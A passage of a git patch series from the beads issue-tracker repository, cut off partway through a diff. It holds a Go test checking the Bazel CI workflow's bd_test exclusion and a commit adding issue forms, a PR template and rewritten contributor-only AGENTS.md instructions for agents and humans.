TestBazelIntegrationExcludesBdTestOnlyWhereCmdDoltCovers. + const wantCmd = `bazel test //... --config=integration --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" ${EXCLUDE_TARGETS:+-- "$EXCLUDE_TARGETS"} 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$?` if !strings.Contains(cmd, wantCmd) || !strings.Contains(test.Run, "set -o pipefail") { t.Errorf("%s test step does not run exactly %q:\n%s", bazelIntegJobName, wantCmd, test.Run) } @@ -6842,6 +6847,115 @@ func TestBazelCmdDoltJob(t *testing.T) { } } +// Exactly-once cmd/bd integration-build tests on PRs: bazel-integration runs +// //... minus //cmd/bd:bd_test only where the caller says bazel-cmd-dolt is +// required (inputs.cmd-dolt-required true, which only pr.yml passes and +// only as its committed BAZEL_CMD_DOLT_REQUIRED flag), and there +// bazel-cmd-dolt covers it: the same if (so it runs in every mode +// bazel-integration does, Dependabot and forks included), bazel-gate.sh +// accepts the two lanes' skips in exactly the same modes, pr.yml's gate then +// requires its result, and its target wraps the integration build's bd_test +// with no test selection (TestBazelCmdDoltJob). Everywhere else (bazel-farm, +// nightly, push, dispatch: bazel-cmd-dolt advisory) bd_test stays in +// bazel-integration. Rollback is committing "false" in both pr.yml places. +func TestBazelIntegrationExcludesBdTestOnlyWhereCmdDoltCovers(t *testing.T) { + const input, excluded = "cmd-dolt-required", "-//cmd/bd:bd_test" + workflow := readCIWorkflow(t, bazelWorkflowName) + integ := workflow.job(t, bazelIntegJobName) + cmdDolt := workflow.job(t, bazelCmdDoltJobName) + + // The input: a boolean defaulting to false, so a caller that does not + // pass it (and push/dispatch, where it is null) keeps bd_test. + if in, ok := readBazelWorkflowCall(t).Inputs[input]; !ok || in.Type != "boolean" || in.Default != "false" { + t.Errorf("%s workflow_call input %s = %+v (present %v), want type boolean, default false", bazelWorkflowName, input, in, ok) + } + + // The step: the exclusion is exactly bd_test, and only when the input is + // true; nothing else narrows the target set. + test := integ.step(t, "bazel test //... --config=integration") + wantEnv := "${{ inputs." + input + " == true && '" + excluded + "' || '' }}" + if got := test.Env["EXCLUDE_TARGETS"]; got != wantEnv { + t.Errorf("%s EXCLUDE_TARGETS = %q, want %q", bazelIntegJobName, got, wantEnv) + } + if strings.Count(test.Run, "${EXCLUDE_TARGETS:+-- \"$EXCLUDE_TARGETS\"}") != 1 || strings.Count(test.Run, "EXCLUDE_TARGETS:+") != 1 || + strings.Contains(test.Run, " -- ") || strings.Contains(test.Run, "-//") { + t.Errorf("%s test step must narrow //... only through ${EXCLUDE_TARGETS:+-- \"$EXCLUDE_TARGETS\"}:\n%s", bazelIntegJobName, test.Run) + } + for name, job := range workflow.Jobs { + for k, v := range job.Env { + if strings.Contains(v, "inputs."+input) { + t.Errorf("%s job env %s reads inputs.%s; only %s's test step may", name, k, input, bazelIntegJobName) + } + } + for _, step := range job.Steps { + for k, v := range step.Env { + if strings.Contains(v, "inputs."+input) && (name != bazelIntegJobName || step.Name != test.Name || k != "EXCLUDE_TARGETS") { + t.Errorf("%s step %q env %s reads inputs.%s; only %s's EXCLUDE_TARGETS may", name, step.Name, k, input, bazelIntegJobName) + } + } + if strings.Contains(step.If, "inputs."+input) || strings.Contains(step.Run, "inputs."+input) { + t.Errorf("%s step %q reads inputs.%s", name, step.Name, input) + } + } + if strings.Contains(job.If, "inputs."+input) { + t.Errorf("%s if reads inputs.%s: the input must not change which lanes run", name, input) + } + } + + // Coverage where it is dropped: bazel-cmd-dolt runs in every mode + // bazel-integration does (same if, for every caller's inputs). + if integ.If != bazelIntegIf || cmdDolt.If != integ.If { + t.Errorf("%s if = %q, %s if = %q; want both %q (the cmd/bd tier must run wherever integration drops bd_test)", + bazelIntegJobName, integ.If, bazelCmdDoltJobName, cmdDolt.If, bazelIntegIf) + } + // ... and pr.yml's gate accepts their skips in the same modes only. + requireHostTool(t, "bash") + root := sourceRepoRoot(t) + for _, mode := range bazelRBEModes { + cmd := exec.Command("bash", bazelGateScript, "skips") + cmd.Dir = root + cmd.Env = []string{"PATH=" + os.Getenv("PATH"), "BAZEL_RBE_MODE=" + mode, "BAZEL_RBE_ENABLED=" + bazelModeEnabled(mode)} + out, err := cmd.Output() + if err != nil { + t.Fatalf("%s skips (mode %s): %v", bazelGateScript, mode, err) + } + skips := map[string]bool{} + for _, id := range strings.Fields(string(out)) { + skips[id] = true + } + if skips["BAZEL_INTEGRATION"] != skips[bazelFlagGatedLanes[bazelCmdDoltJobName].id] { + t.Errorf("mode %s: bazel-gate.sh skips BAZEL_INTEGRATION=%v but %s=%v; they must match", + mode, skips["BAZEL_INTEGRATION"], bazelFlagGatedLanes[bazelCmdDoltJobName].id, skips[bazelFlagGatedLanes[bazelCmdDoltJobName].id]) + } + } + + // Callers: pr.yml passes the input as exactly its flag (whose "true" + // makes the gate require BAZEL_CMD_DOLT: bazelFlagGatedLanes); no other + // caller passes it. + pr := readCIWorkflow(t, "pr.yml") + g := bazelFlagGatedLanes[bazelCmdDoltJobName] + if got, flag := pr.job(t, "bazel").With[input], pr.Env[g.flag]; got != flag || (flag != "true" && flag != "false") { + t.Errorf("pr.yml bazel job %s = %q, %s = %q; want equal, \"true\" or \"false\" (flip both together)", input, got, g.flag, flag) + } + if !strings.Contains(pr.job(t, "ci-gate").step(t, "Evaluate CI gate").Run, bazelFlagGateRun(g)) { + t.Errorf("pr.yml's gate no longer requires %s when %s is \"true\"; bd_test would then run nowhere required", g.id, g.flag) + } + entries, err := os.ReadDir(filepath.Join(root, ".github", "workflows")) + if err != nil { + t.Fatal(err) + } + for _, e := range entries { + if e.Name() == "pr.yml" || !(strings.HasSuffix(e.Name(), ".yml") || strings.HasSuffix(e.Name(), ".yaml")) { + continue + } + for name, job := range readCIWorkflow(t, e.Name()).Jobs { + if _, ok := job.With[input]; ok && strings.HasSuffix(job.Uses, "/"+bazelWorkflowName) { + t.Errorf("%s job %s passes %s to %s; only pr.yml may (its gate is the one that requires bazel-cmd-dolt)", e.Name(), name, input, bazelWorkflowName) + } + } + } +} + // ciWorkflowEnvironment is a job's environment, written either as a bare name // (environment: autofix) or as a mapping (environment: {name: github-pages, // url: ...}, deploy-pages-redirect.yml). From 0773e6334e7ee1db0d069ae0c9befd4a7c7e4bba Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Mon, 5 Oct 2026 01:43:53 -0700 Subject: [PATCH 099/325] docs(agents): contributor-only agent instructions and documented-issue intake (#7223) Makes the repo's agent and contributor surface describe developing beads, not using bd, and requires every PR to link a documented issue. - Contributor-only root AGENTS.md with a routing table; cmd/bd/AGENTS.md and engdocs/AGENTS.md seam files; CLAUDE.md symlinks so Claude Code loads nested files. - Bug and feature issue forms, a PR template that requires Closes #, CONTRIBUTING sections for the triage and pipeline labels, and the opt-in fork-cache during dev setup. - ROADMAP.md for 1.4: versioned beads (#6132), Graph Preview 2 (#7170), contributor onboarding (#7228). - docsync guards: root AGENTS.md at or under 20 KB; every AGENTS.md symlinked, routed, and with resolving links, paths, and guard-test names. Agent-Signature: claude-code-claude-opus-5-5-high on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 (1M context) --- .../beads-docs/references/terminology.md | 2 +- .../beads-docs/references/verification.md | 2 +- .claude/test-strategy.md | 103 ---- .github/ISSUE_TEMPLATE/bug_report.yml | 94 +++ .github/ISSUE_TEMPLATE/config.yml | 11 + .github/ISSUE_TEMPLATE/feature_request.yml | 108 ++++ .github/PULL_REQUEST_TEMPLATE.md | 23 +- .github/copilot-instructions.md | 147 +---- .github/workflows/docs-mintlify.yml | 4 + AGENTS.md | 409 +++++-------- AGENT_INSTRUCTIONS.md | 542 +----------------- BUILD.bazel | 2 + CLAUDE.md | 24 +- CONTRIBUTING.md | 94 ++- README.md | 3 +- ROADMAP.md | 69 +++ cmd/bd/AGENTS.md | 122 ++-- cmd/bd/BUILD.bazel | 7 + cmd/bd/CLAUDE.md | 1 + docs/integrations/github-copilot.md | 2 +- docs/reference/faq.md | 19 + engdocs/AGENTS.md | 45 ++ engdocs/CLAUDE.md | 94 +-- engdocs/DOC_INVENTORY.md | 2 +- engdocs/TESTING.md | 6 + engdocs/UI_PHILOSOPHY.md | 107 ++++ internal/storage/schema/BUILD.bazel | 6 + scripts/check-doc-flags.sh | 6 +- test/docsync/BUILD.bazel | 1 + test/docsync/agentfiles_test.go | 214 +++++++ test/docsync/docsync_test.go | 1 + tools/bazel/equivalence_allowlist.txt | 1 + 32 files changed, 1041 insertions(+), 1230 deletions(-) delete mode 100644 .claude/test-strategy.md create mode 100644 .github/ISSUE_TEMPLATE/bug_report.yml create mode 100644 .github/ISSUE_TEMPLATE/config.yml create mode 100644 .github/ISSUE_TEMPLATE/feature_request.yml mode change 100644 => 120000 CLAUDE.md create mode 100644 ROADMAP.md create mode 120000 cmd/bd/CLAUDE.md create mode 100644 engdocs/AGENTS.md mode change 100644 => 120000 engdocs/CLAUDE.md create mode 100644 test/docsync/agentfiles_test.go diff --git a/.claude/skills/beads-docs/references/terminology.md b/.claude/skills/beads-docs/references/terminology.md index 3718007bd..e3f46d5dc 100644 --- a/.claude/skills/beads-docs/references/terminology.md +++ b/.claude/skills/beads-docs/references/terminology.md @@ -8,7 +8,7 @@ the binary still prints, the docs now lie. ## The discipline 1. **Survey first.** Count occurrences in `docs/`, `engdocs/`, `README.md`, - `AGENTS.md`, `AGENT_INSTRUCTIONS.md`, and `*.go`. Read enough to tell + every `AGENTS.md` (root and nested), and `*.go`. Read enough to tell *prose* (the concept) from *literals*. 2. **Rename prose only**, with judgment per occurrence — fix articles and grammar so it reads naturally. diff --git a/.claude/skills/beads-docs/references/verification.md b/.claude/skills/beads-docs/references/verification.md index 762154ce5..559bfb6f3 100644 --- a/.claude/skills/beads-docs/references/verification.md +++ b/.claude/skills/beads-docs/references/verification.md @@ -55,7 +55,7 @@ all of: 1. **Redirect** — add an entry to the `redirects` array in `docs/docs.json` from the old route to the new one. 2. **Rewrite inbound links** — grep the whole repo, not just `docs/`: - README.md, AGENTS.md, AGENT_INSTRUCTIONS.md, engdocs/, examples/, + README.md, every AGENTS.md (root and nested), engdocs/, examples/, npm-package/, plugins/, integrations/, scripts, and Go comments. 3. **Check bd's printed output** — if `bd` prints the old path (grep `cmd/` and `internal/templates/` for it), fix the Go source to print the new diff --git a/.claude/test-strategy.md b/.claude/test-strategy.md deleted file mode 100644 index 3b3709ec5..000000000 --- a/.claude/test-strategy.md +++ /dev/null @@ -1,103 +0,0 @@ -# Test Running Strategy for Claude Code - -## Critical Rules - -1. **ALWAYS use `./scripts/test.sh` instead of `go test` directly** - - It automatically skips broken tests from `.test-skip` - - Uses appropriate timeouts (3m default) - - Consistent with human developers and CI/CD - -2. **Use `-run` to target specific tests when developing features** - ```bash - # Good: When working on feature X - ./scripts/test.sh -run TestFeatureX ./cmd/bd/... - - # Avoid: Running full suite unnecessarily - ./scripts/test.sh ./... - ``` - -3. **Understand the bottleneck: COMPILATION not EXECUTION** - - 180s compilation time vs 3.8s actual test execution (cmd/bd) - - Running subset of tests doesn't save much time (still recompiles) - - But use `-run` anyway to avoid seeing unrelated failures - -## Common Commands - -```bash -# Full test suite (what 'make test' runs) -./scripts/test.sh - -# Test specific package -./scripts/test.sh ./cmd/bd/... -./scripts/test.sh ./internal/storage/embeddeddolt/... - -# Test specific feature -./scripts/test.sh -run TestCreate ./cmd/bd/... -./scripts/test.sh -run TestImport - -# Verbose output (when debugging) -./scripts/test.sh -v -run TestSpecificTest -``` - -## When Tests Fail - -1. **Check if it's a known broken test:** - ```bash - cat .test-skip - ``` - -2. **If it's new, investigate:** - - Read the test failure message - - Run with `-v` for more detail - - Check if recent code changes broke it - -3. **If unfixable now:** - - File GitHub issue with details - - Add to `.test-skip` with issue reference - - Document in commit message - -## Package Size Context - -The `cmd/bd` package is LARGE: -- 41,696 lines of code -- 205 files (82 test files) -- 313 individual tests -- Compilation takes ~180 seconds - -This is why: -- Compilation is slow -- Test script uses 3-minute timeout -- Targeting specific tests is important - -## Environment Variables - -Use these when needed: - -```bash -# Custom timeout -TEST_TIMEOUT=5m ./scripts/test.sh - -# Verbose by default -TEST_VERBOSE=1 ./scripts/test.sh - -# Run pattern -TEST_RUN=TestSomething ./scripts/test.sh -``` - -## Quick Reference - -| Task | Command | -|------|---------| -| Run all tests | `make test` or `./scripts/test.sh` | -| Test one package | `./scripts/test.sh ./cmd/bd/...` | -| Test one function | `./scripts/test.sh -run TestName` | -| Verbose output | `./scripts/test.sh -v` | -| Custom timeout | `./scripts/test.sh -timeout 10m` | -| Skip additional test | `./scripts/test.sh -skip TestFoo` | - -## Remember - -- The test script is in `.gitignore` path: `scripts/test.sh` -- Skip list is in repo root: `.test-skip` -- Full documentation: `engdocs/TESTING.md` -- Current broken tests: See GH issues #355, #356 diff --git a/.github/ISSUE_TEMPLATE/bug_report.yml b/.github/ISSUE_TEMPLATE/bug_report.yml new file mode 100644 index 000000000..ab0b6b7f5 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.yml @@ -0,0 +1,94 @@ +name: Bug report +description: Report broken behavior in bd. +title: "bug: " +body: + - type: markdown + attributes: + value: | + Thanks for the report. This issue is the record a fix PR links to, so the more evidence here, the better. You can open a fix PR right away; no approval is needed first. + + **Agents filling in this form:** answer each question only from evidence you have. If you cannot answer a question from the evidence, write exactly `NOT_ENOUGH_INFO` instead of guessing. + + - type: checkboxes + id: checks + attributes: + label: Before you continue + options: + - label: I searched existing issues and did not find a duplicate. + required: true + - label: I reproduced this with stock `bd`, without an orchestrator or agent framework in the loop. + required: false + + - type: textarea + id: summary + attributes: + label: Summary + description: What is broken, in one or two sentences. + validations: + required: true + + - type: textarea + id: repro + attributes: + label: Steps to reproduce + description: Exact commands, starting from a fresh directory where possible. + render: shell + validations: + required: true + + - type: textarea + id: expected + attributes: + label: Expected behavior + validations: + required: true + + - type: textarea + id: actual + attributes: + label: Actual behavior + description: Include the full error output. + validations: + required: true + + - type: input + id: version + attributes: + label: bd version + description: Output of `bd version`. + validations: + required: true + + - type: dropdown + id: mode + attributes: + label: Storage mode + options: + - Embedded (default `bd init`) + - Server mode (`bd init --server`) + - Proxied server + - Not sure + validations: + required: true + + - type: input + id: os + attributes: + label: Operating system + placeholder: "macOS 15.5 (arm64), Ubuntu 24.04, Windows 11, ..." + validations: + required: true + + - type: textarea + id: impact + attributes: + label: Impact + description: Who is affected, how severe it is (data loss, blocked, workaround exists), and how often it happens. + validations: + required: true + + - type: textarea + id: context + attributes: + label: Additional context + description: Logs, `bd doctor` output, root-cause notes, or a proposed fix. diff --git a/.github/ISSUE_TEMPLATE/config.yml b/.github/ISSUE_TEMPLATE/config.yml new file mode 100644 index 000000000..f2904a2bb --- /dev/null +++ b/.github/ISSUE_TEMPLATE/config.yml @@ -0,0 +1,11 @@ +blank_issues_enabled: false +contact_links: + - name: Documentation + url: https://beads.gascity.com/ + about: Installation, concepts, CLI reference, and troubleshooting. + - name: Questions and ideas + url: https://github.com/gastownhall/beads/discussions + about: Ask usage questions or float an idea before it is ready to be an issue. + - name: Security vulnerability + url: https://github.com/gastownhall/beads/security/policy + about: Report security issues privately, never in a public issue. diff --git a/.github/ISSUE_TEMPLATE/feature_request.yml b/.github/ISSUE_TEMPLATE/feature_request.yml new file mode 100644 index 000000000..b850c6595 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/feature_request.yml @@ -0,0 +1,108 @@ +name: Feature request +description: Propose a change to bd, with the information needed to accept it. +title: "feat: " +body: + - type: markdown + attributes: + value: | + Every PR links a documented issue, and this form collects the context reviewers and future readers need. You can open your PR right after filing; no approval is needed first. Read the [project charter](https://github.com/gastownhall/beads/blob/main/engdocs/PROJECT_CHARTER.md) first — beads owns issue-tracking primitives, not orchestration policy or storage-engine behavior. + + **Agents filling in this form:** answer each question only from evidence you have. If you cannot answer a question from the evidence, write exactly `NOT_ENOUGH_INFO` instead of guessing. + + - type: checkboxes + id: checks + attributes: + label: Before you continue + options: + - label: I searched existing issues and pull requests and did not find a duplicate. + required: true + + - type: textarea + id: motivation + attributes: + label: Motivation + description: The problem, and who has it. Describe the pain, not the implementation you prefer. + validations: + required: true + + - type: textarea + id: proposal + attributes: + label: Proposed change + description: The behavior, command, flag, or API you want. + validations: + required: true + + - type: textarea + id: impact + attributes: + label: Impact + description: Who is affected and how — users, agents, integrations, downstream consumers of the `--json` output. + validations: + required: true + + - type: textarea + id: risk + attributes: + label: Risk and compatibility + description: Schema or migration changes, wire or `--json` output changes, behavior changes for existing workspaces, and how to roll back. + validations: + required: true + + - type: textarea + id: verification + attributes: + label: Verification plan + description: How we will know it works end to end, beyond unit tests. + validations: + required: true + + - type: textarea + id: alternatives + attributes: + label: Alternatives considered + description: Current workarounds, issue metadata, an integration or plugin, or other designs. + + - type: dropdown + id: size + attributes: + label: Estimated size + options: + - XS (under 50 lines) + - S (under 200 lines) + - M (under 500 lines) + - L (under 1,000 lines) + - XL (more than 1,000 lines; likely needs splitting) + - Not sure + validations: + required: true + + - type: dropdown + id: intent + attributes: + label: Intent + options: + - I am opening or will open a PR + - I'm reporting the need; someone else would implement it + validations: + required: true + + - type: dropdown + id: ai + attributes: + label: AI assistance + description: Was an AI agent used to draft this issue? + options: + - "No" + - Yes, partly + - Yes, mostly + validations: + required: true + + - type: checkboxes + id: accountability + attributes: + label: Accountability + options: + - label: A human has read this issue and stands behind it. + required: true diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md index 540ff9950..a689ae380 100644 --- a/.github/PULL_REQUEST_TEMPLATE.md +++ b/.github/PULL_REQUEST_TEMPLATE.md @@ -1,16 +1,23 @@ -## What +Closes # - +## What changed -## Why + - +## Evidence it works -## Verification + - +## Checklist + +- [ ] The linked issue documents the problem (reproduction or motivation, impact, risk). +- [ ] Tests and lint selected per `engdocs/TESTING.md` pass locally. +- [ ] User-facing behavior changes are reflected in `docs/` or the generated CLI reference. +- [ ] If an invariant or rule changed, the owning `AGENTS.md` is updated. diff --git a/.github/copilot-instructions.md b/.github/copilot-instructions.md index 00a9b016f..7cd6744a5 100644 --- a/.github/copilot-instructions.md +++ b/.github/copilot-instructions.md @@ -1,138 +1,15 @@ -# GitHub Copilot Instructions for Beads +# GitHub Copilot instructions for beads -## Project Overview +The canonical contributor instructions for this repository are in +[AGENTS.md](../AGENTS.md); area-specific rules are in the nested `AGENTS.md` +files listed in its routing table. Read those, not this file, for workflow, +build, test, and scope rules. -**beads** (command: `bd`) is a Dolt-powered issue tracker designed for AI-supervised coding workflows. Git integration is optional. We dogfood our own tool for all task tracking. +The rules most often missed in review: -**Key Features:** -- Dependency-aware issue tracking -- Auto-sync via Dolt-native replication -- AI-optimized CLI with JSON output -- Dolt server mode for background operations -- MCP server integration for Claude and other AI assistants - -## Tech Stack - -- **Language**: Go 1.21+ -- **Storage**: Dolt (version-controlled SQL database) -- **CLI Framework**: Cobra -- **Testing**: Go standard testing + table-driven tests -- **CI/CD**: GitHub Actions -- **MCP Server**: Python (integrations/beads-mcp/) - -## Coding Guidelines - -### Testing -- Always write tests for new features -- Use `t.TempDir() in Go tests` to avoid polluting production database -- Run `go test -short ./...` before committing -- Never create test issues in production DB (use temporary DB) - -### Code Style -- Run `make ci-pr-lint` before committing changes to Go or lint-controlled files -- Follow existing patterns in `cmd/bd/` for new commands -- Add `--json` flag to all commands for programmatic use -- Update docs when changing behavior - -### Git Workflow -- Install git hooks: `bd hooks install` -- Use `bd dolt push` / `bd dolt pull` for remote sync -- Before implementing related work, opening a PR, or merging/closing a PR, run: - `scripts/pr-preflight.sh --search "" --repo gastownhall/beads` or - `scripts/pr-preflight.sh --repo gastownhall/beads` -- External contributor PRs have priority: build on them when possible, preserve - tests and attribution, and never close or replace them silently. - -## Issue Tracking with bd - -**CRITICAL**: This project uses **bd** for ALL task tracking. Do NOT create markdown TODO lists. - -### Essential Commands - -```bash -# Find work -bd ready --json # Unblocked issues -bd stale --days 30 --json # Forgotten issues - -# Create and manage (ALWAYS include --description) -bd create "Title" --description="Detailed context" -t bug|feature|task -p 0-4 --json -bd update --claim --json -bd close --reason "Done" --json - -# Search -bd list --status open --priority 1 --json -bd show --json - -# Sync (if remote configured) -bd dolt push # Push to Dolt remote -bd dolt pull # Pull from Dolt remote -``` - -### Workflow - -1. **Check ready work**: `bd ready --json` -2. **Claim task**: `bd update --claim` -3. **Work on it**: Implement, test, document -4. **Discover new work?** `bd create "Found bug" --description="What was found and why" -p 1 --deps discovered-from: --json` -5. **Complete**: `bd close --reason "Done" --json` -6. **Sync**: `bd dolt push` (push to Dolt remote if configured) - -**IMPORTANT**: Always include `--description` when creating issues. Issues without descriptions lack context for future work. - -### Priorities - -- `0` - Critical (security, data loss, broken builds) -- `1` - High (major features, important bugs) -- `2` - Medium (default, nice-to-have) -- `3` - Low (polish, optimization) -- `4` - Backlog (future ideas) - -## Project Structure - -``` -beads/ -├── cmd/bd/ # CLI commands (add new commands here) -├── internal/ -│ ├── types/ # Core data types -│ └── storage/ # Storage layer -│ └── dolt/ # Dolt implementation -├── integrations/ -│ └── beads-mcp/ # MCP server (Python) -├── examples/ # Integration examples -├── docs/ # Documentation -└── .beads/ - └── dolt/ # Dolt database (source of truth) -``` - -## Available Resources - -### MCP Server (Recommended) -Use the beads MCP server for native function calls instead of shell commands: -- Install: `pip install beads-mcp` -- Functions: `mcp__beads__ready()`, `mcp__beads__create()`, etc. -- See `integrations/beads-mcp/README.md` - -### Scripts -- `./scripts/bump-version.sh --commit` - Update all version files atomically -- `./scripts/release.sh ` - Complete release workflow -- `./scripts/update-homebrew.sh ` - Update Homebrew formula - -### Key Documentation -- **AGENTS.md** - Comprehensive AI agent guide (detailed workflows, advanced features) -- **AGENT_INSTRUCTIONS.md** - Development procedures, testing, releases -- **README.md** - User-facing documentation -- **docs/CLI_REFERENCE.md** - Complete command reference - -## Important Rules - -- ✅ Use bd for ALL task tracking -- ✅ Always use `--json` flag for programmatic use -- ✅ Use `bd dolt push` / `bd dolt pull` for remote sync -- ✅ Test with `t.TempDir() in Go tests` -- ❌ Do NOT create markdown TODO lists -- ❌ Do NOT create test issues in production DB -- ❌ Do NOT manually modify `.beads/dolt/` - ---- - -**For detailed workflows and advanced features, see [AGENTS.md](../AGENTS.md)** +- A PR must close a documented GitHub issue (filed before or alongside it). +- Build with `make install`, never `go build -o bd ./cmd/bd` or `go install ./cmd/bd`. +- `make ci-pr-lint` must pass with zero issues; choose tests with + [engdocs/TESTING.md](../engdocs/TESTING.md). +- Never create test issues in a production database; use `t.TempDir()`. +- CLI output uses small Unicode status symbols, never emoji icons. diff --git a/.github/workflows/docs-mintlify.yml b/.github/workflows/docs-mintlify.yml index 08f430798..6c4d7d953 100644 --- a/.github/workflows/docs-mintlify.yml +++ b/.github/workflows/docs-mintlify.yml @@ -19,6 +19,10 @@ on: - 'CLAUDE.md' - 'RELEASING.md' - 'PR_MAINTAINER_GUIDELINES.md' + - 'ROADMAP.md' + - '**/AGENTS.md' + - '**/CLAUDE.md' + - '.github/copilot-instructions.md' - '.github/scripts/docs-render-check.sh' - '.github/workflows/docs-mintlify.yml' diff --git a/AGENTS.md b/AGENTS.md index 18a5847d5..a0cec3a42 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -1,290 +1,191 @@ -# Agent Instructions +# Beads — Contributor Agent Instructions - +This file is for agents and humans **developing beads** (`bd`). If you are +using `bd` to track work in your own project, read the user docs instead: +[docs site](https://beads.gascity.com/) and +[IDE and agent setup](docs/getting-started/ide-setup.md). -See [AGENT_INSTRUCTIONS.md](AGENT_INSTRUCTIONS.md) for full instructions. + -This file exists for compatibility with tools that look for AGENTS.md. +Nested `AGENTS.md` files hold area-specific rules; the routing table at the +end lists them. `CLAUDE.md` files are symlinks to their sibling `AGENTS.md`. -The marker above tells `bd doctor` that the intentional divergence between -this file and `CLAUDE.md` (different audiences, different reading orders) is -expected and should not be flagged. +## How work flows here -## Key Sections +GitHub Issues is the public tracker, and every PR links a documented issue. +The issue carries the context reviewers and future readers need: for a bug, +the reproduction, impact, and evidence; for a change, the motivation, impact, +risk, and verification plan. -- **Issue Tracking** - How to use bd for work management -- **Development Guidelines** - Code standards and testing -- **Project Scope** - Read [engdocs/PROJECT_CHARTER.md](engdocs/PROJECT_CHARTER.md) before adding new feature surface area -- **Visual Design System** - Status icons, colors, and semantic styling for CLI output -- **Contributor Protection** - Read [CONTRIBUTING.md](CONTRIBUTING.md) before handling external PRs -- **Maintainer PR Guidelines** - Read [PR_MAINTAINER_GUIDELINES.md](PR_MAINTAINER_GUIDELINES.md) before triaging, landing, or closing PRs +1. Find or file the issue with the bug or feature form. It does not need + maintainer approval first; file it before or alongside the PR. +2. Work on a branch, open a PR against `main` whose body says + `Closes #`, and let CI and review run. +3. Maintainers triage issues with `status/needs-triage`, `status/needs-info`, + `status/needs-repro`, `status/needs-design`, and `status/accepted` + (confirmed); see [CONTRIBUTING.md](CONTRIBUTING.md). -## Project Scope +Maintainers also keep an internal bd ledger. It is optional for contributors +and not a substitute for the GitHub issue. -Before adding new feature surface area, read -[engdocs/PROJECT_CHARTER.md](engdocs/PROJECT_CHARTER.md). Beads owns issue tracking -primitives and should not encode orchestration-layer policy, become a storage -engine, or casually expand the database schema when metadata would work. +## Agent contribution policy -## PR Safety for Agents +- Every PR closes a documented issue. If none exists for your change, file + one with the bug or feature form fields, filling each from evidence and + answering `NOT_ENOUGH_INFO` where the evidence runs out, then link it from + the PR. +- A human reviews and stands behind every issue and PR an agent drafts. + Evidence that the change works end-to-end is required; "unit tests pass" + alone is not evidence. +- Before implementing work, opening a PR, or merging/closing a PR, run the PR + preflight: + ```bash + scripts/pr-preflight.sh --search "" --repo gastownhall/beads + scripts/pr-preflight.sh --repo gastownhall/beads + ``` + The preflight is the agent gate for PR handling; do not rely on + auto-discovery of CONTRIBUTING.md. +- Use `gh` for GitHub issues and PRs, not browser tools. Write PR, issue, + comment, and review bodies to a file, run `scripts/gh-body-lint `, + and pass the file with `gh ... --body-file`. Sign agent-written GitHub + comments and reviews per [engdocs/AGENT_SIGNING.md](engdocs/AGENT_SIGNING.md). -Before triaging, reviewing, landing, closing, or otherwise maintaining PRs, read +## Contributor protection + +External contributor PRs have priority. Read [CONTRIBUTING.md](CONTRIBUTING.md) +— it contains promises we've made to contributors — and, before triaging, +reviewing, landing, closing, or otherwise maintaining PRs, [PR_MAINTAINER_GUIDELINES.md](PR_MAINTAINER_GUIDELINES.md). The maintainer policy is to maximize community throughput: find useful contributor value, absorb or transform it locally when practical, preserve attribution, and use request-changes only as a last resort. -Before implementing work, opening a PR, or merging/closing a PR, run the PR -preflight: -```bash -scripts/pr-preflight.sh --search "" --repo gastownhall/beads -scripts/pr-preflight.sh --repo gastownhall/beads -``` +Before implementing any feature or fix, check for existing open PRs on the +same topic. If one exists: -External contributor PRs have priority. Review and build on their branch when -possible, preserve their tests and attribution, and never close or supersede -their PR silently. If a rewrite is unavoidable, explain why on the original PR -and credit their design/tests. +1. **Review it first** — read the diff, understand the approach. +2. **Build on their work, don't rewrite it** — check out their branch, + fix/adapt as needed. +3. **Preserve their tests** — keep them unless they're wrong. +4. **Attribute properly** — `Co-authored-by:` in commits, reference their PR. +5. **Never close or supersede their PR silently.** If a rewrite is + unavoidable, explain why on the original PR and credit their design/tests. -## Visual Design Anti-Patterns +## Scope: where a change belongs -**NEVER use emoji-style icons** (🔴🟠🟡🔵⚪) in CLI output. They cause cognitive overload. +Read [engdocs/PROJECT_CHARTER.md](engdocs/PROJECT_CHARTER.md) before adding +feature surface area. Beads owns issue tracking primitives and should not +encode orchestration-layer policy, become a storage engine, or casually expand +the database schema when metadata would work. Prefer, in order: issue +metadata over new fields, a flag on an existing command over a new command, +an integration or plugin over core, and leave orchestration policy to the +orchestration layer. -**ALWAYS use small Unicode symbols** with semantic colors (status uses symbols; priority uses labels): -- Status: `○ ◐ ● ✓ ❄` -- Priority: `P0`–`P4` label with color (no status glyph) +**Storage boundary.** Beads talks to storage through a driver interface +(`dolthub/driver` for Dolt). Do not add beads-side flocks, engine +introspection, storage-specific retry or crash-recovery logic, or public SDK +return types that leak driver internals. If the boundary is too narrow, widen +the interface or route the issue to the driver instead of patching around it +in beads. `bd doctor` support for embedded mode is enabled one subcommand at a +time, each human-vetted (GH#3794): do not lift the embedded-mode gate in +`cmd/bd/doctor.go` wholesale, and keep database-layer checks and fixes +server-gated until the driver interface covers them. -See [AGENT_INSTRUCTIONS.md](AGENT_INSTRUCTIONS.md) for full development guidelines. +**Layering.** Schema → `internal/storage/issueops` → `cmd/bd`. Add new +primitives at the lowest layer first, one layer per PR, stacked when a fix +spans layers. See +[CONTRIBUTING_PR_GUIDELINES.md](CONTRIBUTING_PR_GUIDELINES.md). -## Storage Boundary - -The canonical storage boundary is in -[engdocs/PROJECT_CHARTER.md](engdocs/PROJECT_CHARTER.md#storage-boundary). In short: -Beads talks to storage through a driver interface (`dolthub/driver` for Dolt). -Do not add beads-side flocks, engine introspection, storage-specific retry or -crash-recovery logic, or public SDK return types that leak driver internals. -If the boundary is too narrow, widen the interface or route the issue to the -driver instead of patching around it in beads. - -A live application of this rule: `bd doctor` support for embedded mode is -enabled one subcommand at a time, each human-vetted (GH#3794). Do not lift the -embedded-mode gate in `cmd/bd/doctor.go` wholesale, and keep database-layer -checks and fixes server-gated until the driver interface covers them. - -## Agent Warning: Interactive Commands - -**DO NOT use `bd edit`** - it opens an interactive editor ($EDITOR) which AI agents cannot use. - -Use `bd update` with flags instead: -```bash -bd update --description "new description" -bd update --title "new title" -bd update --design "design notes" -bd update --append-notes "additional notes" # --notes replaces existing notes and requires --force once notes are set -bd update --acceptance "acceptance criteria" - -# Use stdin for descriptions with special 